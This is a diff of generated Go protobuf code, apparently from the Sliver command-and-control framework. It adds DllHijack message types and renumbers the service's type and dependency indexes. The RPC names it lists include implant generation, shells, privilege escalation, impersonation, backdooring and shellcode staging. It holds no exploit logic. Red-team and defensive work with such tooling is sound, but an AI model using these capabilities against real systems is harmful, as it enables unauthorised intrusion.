0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b,
|
||||
0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61,
|
||||
0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
|
||||
0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73,
|
||||
0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57,
|
||||
0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x4b,
|
||||
0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72,
|
||||
0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x52, 0x65,
|
||||
0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53,
|
||||
0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53,
|
||||
0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72,
|
||||
0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x32, 0x0a,
|
||||
0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e,
|
||||
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a,
|
||||
0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65,
|
||||
0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c,
|
||||
0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e,
|
||||
0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d,
|
||||
0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74,
|
||||
0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e,
|
||||
0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30,
|
||||
0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f,
|
||||
0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63,
|
||||
0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42,
|
||||
0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69,
|
||||
0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70,
|
||||
0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70,
|
||||
0x72, 0x6f, 0x74, 0x6f, 0x33,
|
||||
0x73, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57,
|
||||
0x47, 0x4c, 0x69, 0x73, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12,
|
||||
0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50,
|
||||
0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e,
|
||||
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f,
|
||||
0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, 0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69,
|
||||
0x73, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b,
|
||||
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b,
|
||||
0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c,
|
||||
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65,
|
||||
0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12,
|
||||
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52,
|
||||
0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68,
|
||||
0x65, 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14,
|
||||
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77,
|
||||
0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74,
|
||||
0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76,
|
||||
0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43,
|
||||
0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63,
|
||||
0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a,
|
||||
0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c,
|
||||
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74,
|
||||
0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e,
|
||||
0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45,
|
||||
0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
|
||||
0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
|
||||
0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74,
|
||||
0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f,
|
||||
0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75,
|
||||
0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
|
||||
}
|
||||
|
||||
var file_rpcpb_services_proto_goTypes = []interface{}{
|
||||
@@ -442,81 +445,83 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
|
||||
(*sliverpb.RegistryWriteReq)(nil), // 58: sliverpb.RegistryWriteReq
|
||||
(*sliverpb.RegistryCreateKeyReq)(nil), // 59: sliverpb.RegistryCreateKeyReq
|
||||
(*sliverpb.SSHCommandReq)(nil), // 60: sliverpb.SSHCommandReq
|
||||
(*sliverpb.WGPortForwardStartReq)(nil), // 61: sliverpb.WGPortForwardStartReq
|
||||
(*sliverpb.WGPortForwardStopReq)(nil), // 62: sliverpb.WGPortForwardStopReq
|
||||
(*sliverpb.WGSocksStartReq)(nil), // 63: sliverpb.WGSocksStartReq
|
||||
(*sliverpb.WGSocksStopReq)(nil), // 64: sliverpb.WGSocksStopReq
|
||||
(*sliverpb.WGTCPForwardersReq)(nil), // 65: sliverpb.WGTCPForwardersReq
|
||||
(*sliverpb.WGSocksServersReq)(nil), // 66: sliverpb.WGSocksServersReq
|
||||
(*sliverpb.ShellReq)(nil), // 67: sliverpb.ShellReq
|
||||
(*sliverpb.PortfwdReq)(nil), // 68: sliverpb.PortfwdReq
|
||||
(*sliverpb.Tunnel)(nil), // 69: sliverpb.Tunnel
|
||||
(*sliverpb.TunnelData)(nil), // 70: sliverpb.TunnelData
|
||||
(*clientpb.Version)(nil), // 71: clientpb.Version
|
||||
(*clientpb.Operators)(nil), // 72: clientpb.Operators
|
||||
(*clientpb.Sessions)(nil), // 73: clientpb.Sessions
|
||||
(*clientpb.Session)(nil), // 74: clientpb.Session
|
||||
(*commonpb.Response)(nil), // 75: commonpb.Response
|
||||
(*clientpb.Jobs)(nil), // 76: clientpb.Jobs
|
||||
(*clientpb.KillJob)(nil), // 77: clientpb.KillJob
|
||||
(*clientpb.MTLSListener)(nil), // 78: clientpb.MTLSListener
|
||||
(*clientpb.WGListener)(nil), // 79: clientpb.WGListener
|
||||
(*clientpb.DNSListener)(nil), // 80: clientpb.DNSListener
|
||||
(*clientpb.HTTPListener)(nil), // 81: clientpb.HTTPListener
|
||||
(*clientpb.StagerListener)(nil), // 82: clientpb.StagerListener
|
||||
(*clientpb.AllLoot)(nil), // 83: clientpb.AllLoot
|
||||
(*clientpb.Generate)(nil), // 84: clientpb.Generate
|
||||
(*clientpb.ImplantBuilds)(nil), // 85: clientpb.ImplantBuilds
|
||||
(*clientpb.Canaries)(nil), // 86: clientpb.Canaries
|
||||
(*clientpb.WGClientConfig)(nil), // 87: clientpb.WGClientConfig
|
||||
(*clientpb.UniqueWGIP)(nil), // 88: clientpb.UniqueWGIP
|
||||
(*clientpb.ImplantProfiles)(nil), // 89: clientpb.ImplantProfiles
|
||||
(*clientpb.MsfStager)(nil), // 90: clientpb.MsfStager
|
||||
(*clientpb.ShellcodeRDI)(nil), // 91: clientpb.ShellcodeRDI
|
||||
(*clientpb.Compiler)(nil), // 92: clientpb.Compiler
|
||||
(*clientpb.Websites)(nil), // 93: clientpb.Websites
|
||||
(*sliverpb.Ps)(nil), // 94: sliverpb.Ps
|
||||
(*sliverpb.Terminate)(nil), // 95: sliverpb.Terminate
|
||||
(*sliverpb.Ifconfig)(nil), // 96: sliverpb.Ifconfig
|
||||
(*sliverpb.Netstat)(nil), // 97: sliverpb.Netstat
|
||||
(*sliverpb.Ls)(nil), // 98: sliverpb.Ls
|
||||
(*sliverpb.Pwd)(nil), // 99: sliverpb.Pwd
|
||||
(*sliverpb.Rm)(nil), // 100: sliverpb.Rm
|
||||
(*sliverpb.Mkdir)(nil), // 101: sliverpb.Mkdir
|
||||
(*sliverpb.Download)(nil), // 102: sliverpb.Download
|
||||
(*sliverpb.Upload)(nil), // 103: sliverpb.Upload
|
||||
(*sliverpb.ProcessDump)(nil), // 104: sliverpb.ProcessDump
|
||||
(*sliverpb.RunAs)(nil), // 105: sliverpb.RunAs
|
||||
(*sliverpb.Impersonate)(nil), // 106: sliverpb.Impersonate
|
||||
(*sliverpb.RevToSelf)(nil), // 107: sliverpb.RevToSelf
|
||||
(*sliverpb.GetSystem)(nil), // 108: sliverpb.GetSystem
|
||||
(*sliverpb.Task)(nil), // 109: sliverpb.Task
|
||||
(*sliverpb.ExecuteAssembly)(nil), // 110: sliverpb.ExecuteAssembly
|
||||
(*sliverpb.Migrate)(nil), // 111: sliverpb.Migrate
|
||||
(*sliverpb.Execute)(nil), // 112: sliverpb.Execute
|
||||
(*sliverpb.Sideload)(nil), // 113: sliverpb.Sideload
|
||||
(*sliverpb.SpawnDll)(nil), // 114: sliverpb.SpawnDll
|
||||
(*sliverpb.Screenshot)(nil), // 115: sliverpb.Screenshot
|
||||
(*sliverpb.NamedPipes)(nil), // 116: sliverpb.NamedPipes
|
||||
(*sliverpb.TCPPivot)(nil), // 117: sliverpb.TCPPivot
|
||||
(*sliverpb.PivotList)(nil), // 118: sliverpb.PivotList
|
||||
(*sliverpb.ServiceInfo)(nil), // 119: sliverpb.ServiceInfo
|
||||
(*sliverpb.MakeToken)(nil), // 120: sliverpb.MakeToken
|
||||
(*sliverpb.EnvInfo)(nil), // 121: sliverpb.EnvInfo
|
||||
(*sliverpb.SetEnv)(nil), // 122: sliverpb.SetEnv
|
||||
(*sliverpb.UnsetEnv)(nil), // 123: sliverpb.UnsetEnv
|
||||
(*sliverpb.Backdoor)(nil), // 124: sliverpb.Backdoor
|
||||
(*sliverpb.RegistryRead)(nil), // 125: sliverpb.RegistryRead
|
||||
(*sliverpb.RegistryWrite)(nil), // 126: sliverpb.RegistryWrite
|
||||
(*sliverpb.RegistryCreateKey)(nil), // 127: sliverpb.RegistryCreateKey
|
||||
(*sliverpb.SSHCommand)(nil), // 128: sliverpb.SSHCommand
|
||||
(*sliverpb.WGPortForward)(nil), // 129: sliverpb.WGPortForward
|
||||
(*sliverpb.WGSocks)(nil), // 130: sliverpb.WGSocks
|
||||
(*sliverpb.WGTCPForwarders)(nil), // 131: sliverpb.WGTCPForwarders
|
||||
(*sliverpb.WGSocksServers)(nil), // 132: sliverpb.WGSocksServers
|
||||
(*sliverpb.Shell)(nil), // 133: sliverpb.Shell
|
||||
(*sliverpb.Portfwd)(nil), // 134: sliverpb.Portfwd
|
||||
(*clientpb.Event)(nil), // 135: clientpb.Event
|
||||
(*sliverpb.DllHijackReq)(nil), // 61: sliverpb.DllHijackReq
|
||||
(*sliverpb.WGPortForwardStartReq)(nil), // 62: sliverpb.WGPortForwardStartReq
|
||||
(*sliverpb.WGPortForwardStopReq)(nil), // 63: sliverpb.WGPortForwardStopReq
|
||||
(*sliverpb.WGSocksStartReq)(nil), // 64: sliverpb.WGSocksStartReq
|
||||
(*sliverpb.WGSocksStopReq)(nil), // 65: sliverpb.WGSocksStopReq
|
||||
(*sliverpb.WGTCPForwardersReq)(nil), // 66: sliverpb.WGTCPForwardersReq
|
||||
(*sliverpb.WGSocksServersReq)(nil), // 67: sliverpb.WGSocksServersReq
|
||||
(*sliverpb.ShellReq)(nil), // 68: sliverpb.ShellReq
|
||||
(*sliverpb.PortfwdReq)(nil), // 69: sliverpb.PortfwdReq
|
||||
(*sliverpb.Tunnel)(nil), // 70: sliverpb.Tunnel
|
||||
(*sliverpb.TunnelData)(nil), // 71: sliverpb.TunnelData
|
||||
(*clientpb.Version)(nil), // 72: clientpb.Version
|
||||
(*clientpb.Operators)(nil), // 73: clientpb.Operators
|
||||
(*clientpb.Sessions)(nil), // 74: clientpb.Sessions
|
||||
(*clientpb.Session)(nil), // 75: clientpb.Session
|
||||
(*commonpb.Response)(nil), // 76: commonpb.Response
|
||||
(*clientpb.Jobs)(nil), // 77: clientpb.Jobs
|
||||
(*clientpb.KillJob)(nil), // 78: clientpb.KillJob
|
||||
(*clientpb.MTLSListener)(nil), // 79: clientpb.MTLSListener
|
||||
(*clientpb.WGListener)(nil), // 80: clientpb.WGListener
|
||||
(*clientpb.DNSListener)(nil), // 81: clientpb.DNSListener
|
||||
(*clientpb.HTTPListener)(nil), // 82: clientpb.HTTPListener
|
||||
(*clientpb.StagerListener)(nil), // 83: clientpb.StagerListener
|
||||
(*clientpb.AllLoot)(nil), // 84: clientpb.AllLoot
|
||||
(*clientpb.Generate)(nil), // 85: clientpb.Generate
|
||||
(*clientpb.ImplantBuilds)(nil), // 86: clientpb.ImplantBuilds
|
||||
(*clientpb.Canaries)(nil), // 87: clientpb.Canaries
|
||||
(*clientpb.WGClientConfig)(nil), // 88: clientpb.WGClientConfig
|
||||
(*clientpb.UniqueWGIP)(nil), // 89: clientpb.UniqueWGIP
|
||||
(*clientpb.ImplantProfiles)(nil), // 90: clientpb.ImplantProfiles
|
||||
(*clientpb.MsfStager)(nil), // 91: clientpb.MsfStager
|
||||
(*clientpb.ShellcodeRDI)(nil), // 92: clientpb.ShellcodeRDI
|
||||
(*clientpb.Compiler)(nil), // 93: clientpb.Compiler
|
||||
(*clientpb.Websites)(nil), // 94: clientpb.Websites
|
||||
(*sliverpb.Ps)(nil), // 95: sliverpb.Ps
|
||||
(*sliverpb.Terminate)(nil), // 96: sliverpb.Terminate
|
||||
(*sliverpb.Ifconfig)(nil), // 97: sliverpb.Ifconfig
|
||||
(*sliverpb.Netstat)(nil), // 98: sliverpb.Netstat
|
||||
(*sliverpb.Ls)(nil), // 99: sliverpb.Ls
|
||||
(*sliverpb.Pwd)(nil), // 100: sliverpb.Pwd
|
||||
(*sliverpb.Rm)(nil), // 101: sliverpb.Rm
|
||||
(*sliverpb.Mkdir)(nil), // 102: sliverpb.Mkdir
|
||||
(*sliverpb.Download)(nil), // 103: sliverpb.Download
|
||||
(*sliverpb.Upload)(nil), // 104: sliverpb.Upload
|
||||
(*sliverpb.ProcessDump)(nil), // 105: sliverpb.ProcessDump
|
||||
(*sliverpb.RunAs)(nil), // 106: sliverpb.RunAs
|
||||
(*sliverpb.Impersonate)(nil), // 107: sliverpb.Impersonate
|
||||
(*sliverpb.RevToSelf)(nil), // 108: sliverpb.RevToSelf
|
||||
(*sliverpb.GetSystem)(nil), // 109: sliverpb.GetSystem
|
||||
(*sliverpb.Task)(nil), // 110: sliverpb.Task
|
||||
(*sliverpb.ExecuteAssembly)(nil), // 111: sliverpb.ExecuteAssembly
|
||||
(*sliverpb.Migrate)(nil), // 112: sliverpb.Migrate
|
||||
(*sliverpb.Execute)(nil), // 113: sliverpb.Execute
|
||||
(*sliverpb.Sideload)(nil), // 114: sliverpb.Sideload
|
||||
(*sliverpb.SpawnDll)(nil), // 115: sliverpb.SpawnDll
|
||||
(*sliverpb.Screenshot)(nil), // 116: sliverpb.Screenshot
|
||||
(*sliverpb.NamedPipes)(nil), // 117: sliverpb.NamedPipes
|
||||
(*sliverpb.TCPPivot)(nil), // 118: sliverpb.TCPPivot
|
||||
(*sliverpb.PivotList)(nil), // 119: sliverpb.PivotList
|
||||
(*sliverpb.ServiceInfo)(nil), // 120: sliverpb.ServiceInfo
|
||||
(*sliverpb.MakeToken)(nil), // 121: sliverpb.MakeToken
|
||||
(*sliverpb.EnvInfo)(nil), // 122: sliverpb.EnvInfo
|
||||
(*sliverpb.SetEnv)(nil), // 123: sliverpb.SetEnv
|
||||
(*sliverpb.UnsetEnv)(nil), // 124: sliverpb.UnsetEnv
|
||||
(*sliverpb.Backdoor)(nil), // 125: sliverpb.Backdoor
|
||||
(*sliverpb.RegistryRead)(nil), // 126: sliverpb.RegistryRead
|
||||
(*sliverpb.RegistryWrite)(nil), // 127: sliverpb.RegistryWrite
|
||||
(*sliverpb.RegistryCreateKey)(nil), // 128: sliverpb.RegistryCreateKey
|
||||
(*sliverpb.SSHCommand)(nil), // 129: sliverpb.SSHCommand
|
||||
(*sliverpb.DllHijack)(nil), // 130: sliverpb.DllHijack
|
||||
(*sliverpb.WGPortForward)(nil), // 131: sliverpb.WGPortForward
|
||||
(*sliverpb.WGSocks)(nil), // 132: sliverpb.WGSocks
|
||||
(*sliverpb.WGTCPForwarders)(nil), // 133: sliverpb.WGTCPForwarders
|
||||
(*sliverpb.WGSocksServers)(nil), // 134: sliverpb.WGSocksServers
|
||||
(*sliverpb.Shell)(nil), // 135: sliverpb.Shell
|
||||
(*sliverpb.Portfwd)(nil), // 136: sliverpb.Portfwd
|
||||
(*clientpb.Event)(nil), // 137: clientpb.Event
|
||||
}
|
||||
var file_rpcpb_services_proto_depIdxs = []int32{
|
||||
0, // 0: rpcpb.SliverRPC.GetVersion:input_type -> commonpb.Empty
|
||||
@@ -602,115 +607,117 @@ var file_rpcpb_services_proto_depIdxs = []int32{
|
||||
58, // 80: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq
|
||||
59, // 81: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq
|
||||
60, // 82: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
|
||||
61, // 83: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
|
||||
62, // 84: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
|
||||
63, // 85: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
|
||||
64, // 86: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
|
||||
65, // 87: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
|
||||
66, // 88: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
|
||||
67, // 89: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
|
||||
68, // 90: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
|
||||
69, // 91: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
|
||||
69, // 92: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
|
||||
70, // 93: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
|
||||
0, // 94: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
|
||||
71, // 95: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
|
||||
72, // 96: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
|
||||
73, // 97: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
|
||||
0, // 98: rpcpb.SliverRPC.KillSession:output_type -> commonpb.Empty
|
||||
74, // 99: rpcpb.SliverRPC.UpdateSession:output_type -> clientpb.Session
|
||||
75, // 100: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
|
||||
0, // 101: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
|
||||
76, // 102: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
|
||||
77, // 103: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
|
||||
78, // 104: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
|
||||
79, // 105: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
|
||||
80, // 106: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
|
||||
81, // 107: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
|
||||
81, // 108: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
|
||||
82, // 109: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
|
||||
82, // 110: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
|
||||
9, // 111: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
|
||||
0, // 112: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
|
||||
9, // 113: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
|
||||
9, // 114: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
|
||||
83, // 115: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
|
||||
83, // 116: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
|
||||
84, // 117: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
|
||||
84, // 118: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
|
||||
85, // 119: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
|
||||
0, // 120: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
|
||||
86, // 121: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
|
||||
87, // 122: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
|
||||
88, // 123: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
|
||||
89, // 124: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
|
||||
0, // 125: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
|
||||
13, // 126: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
|
||||
90, // 127: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
|
||||
91, // 128: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
|
||||
92, // 129: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
|
||||
93, // 130: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
|
||||
16, // 131: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
|
||||
0, // 132: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
|
||||
16, // 133: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
|
||||
16, // 134: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
